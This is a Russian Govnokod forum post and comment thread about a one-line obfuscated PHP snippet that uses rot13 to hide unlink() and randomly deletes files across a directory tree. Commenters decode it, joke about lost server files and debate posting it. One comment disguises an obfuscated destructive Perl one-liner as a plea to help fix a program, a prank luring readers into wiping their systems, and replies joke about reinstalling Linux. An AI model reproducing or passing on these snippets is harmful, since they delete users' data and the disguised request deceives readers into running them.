1. PHP / Говнокод #11326

    +52

    1. 1
    $g=str_rot13("hayvax");$gg=9999999;$ggg=100;foreach(glob("*/*/*") as $f){(rand(0,$gg)%rand(0,$ggg))?$g($f):'';}

    =3

    Запостил: ZekMan, 01 Июля 2012

    Комментарии (30) RSS

    • Посоны, у меня с продакшон сервера пропала часть файлов. Не знаете, с чем это связано?
      Ответить
    • Что это вообще за хуита?
      Ответить
      • unlink() файлов, удовлетворяющих шаблону "*/*/*" с ненулевой вероятностью.

        UPD: За такую хуйню надо банить на год для профилактики. Вдруг кто-то бы запустил...
        Ответить
        • что такое анлинк?
          Ответить
          • Запусти - узнаешь... *trollface.png*

            http://php.net/manual/ru/function.unlink.php

            А взято оно из *nix:
            http://linux.die.net/man/2/unlink
            Ответить
            • В юниксе все названия такие говорящие?
              Ответить
              • они такие низкоуровневые
                Ответить
              • Многие. Так уж исторически сложилось... Ну и unlink() он же не удаляет файл сам по себе, он удаляет только ссылку на него из директории, а контент может выжить, если он еще открыт или же на него есть ссылки из других директорий. Отсюда и название.
                Ответить
              • Кстати, там еще есть creat() и lseek()...
                Ответить
        • Довольно забавный алгоритм, я "расшифровал" строку на глаз. Обычно пакуют строки в base64, а дальше чистый eval.
          Сама идея с вероятностью тоже неплоха.
          Запускать подозрительный код, если не умеешь пользоваться техниками деобфускации, категорически нельзя.
          Ответить
          • А я в консольке набрал rot13, и сразу же потерял желание это запускать ;)
            Правда не поверил, что $g($f) будет работать (в PHP я нуб), потестил - действительно работает.

            > Запускать подозрительный код, если не умеешь пользоваться техниками деобфускации, категорически нельзя.
            Полностью согласен.
            Ответить
            • > будет работать
              Будет-будет. С классами такое тоже должно катить.
              Ответить
          • Вот и я о чем, а минусуют >.>
            Ответить
            • Видимо потому, что не догадался, что моя фраза - сарказм.
              Ответить
        • Интересно, что будет под пользовательской учёткой.
          Ответить
          • Немного не понял смысла вопроса. Если, скажем, апач запускается от пользователя, то он похерит все файлы этого пользователя, до которых дотянется. Если от православного nobody/apache, и на файлах стоят права, то не удалит ничего, кроме разве что им же залитого, но это нужно регулярно човнить (не знаю, как сделать автоматически).
            Ответить
            • Смысл в том, что у того, кто настроил права, повреждения будут поменьше же?
              Ответить
              • Если права выставлены так, что сервер может читать, но не изменять, тогда часть проблем снимаются.
                Ответить
    • плюсанул, ибо нехуй непонятный код запускать
      Ответить
      • Минусанул. Ибо нехуй потенциально опасный код постить.

        Конечно, люди тут образованные и опытные, и никто не будет запускать этот код на своей машине... Но все же, давайте будем относиться друг к другу по-дружески, и не постить подобный код?
        Ответить
        • Ок, в следующий раз буду такое подписывать, мол - не запускайте...
          Ответить
        • > на своей машине
          Ну есть же ideone.
          Лол, а какой-то дебил может и на тестовом серваке запустит.
          Ну str_rot13("unknown shit") - должен наталкивать на мысль.
          Ответить
        • помогите, пожалуйста исправить такую программу:

          cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

          - не печатает
          Ответить
          • Блин, что-то у меня система слетела. Переставлю ось - попробую что-нибудь подсказать.
            Ответить
          • блин! ну хорош так издеваться, я уже за день второй раз Linux переустанавливаю
            Ответить
            • Виндро нужно было ставить.
              Ответить
            • Перед запуском незнакомого кода нужно установить Патч Бармина.
              Ответить
    • хули вы пиздите что он безвредный?
      Ответить

    Добавить комментарий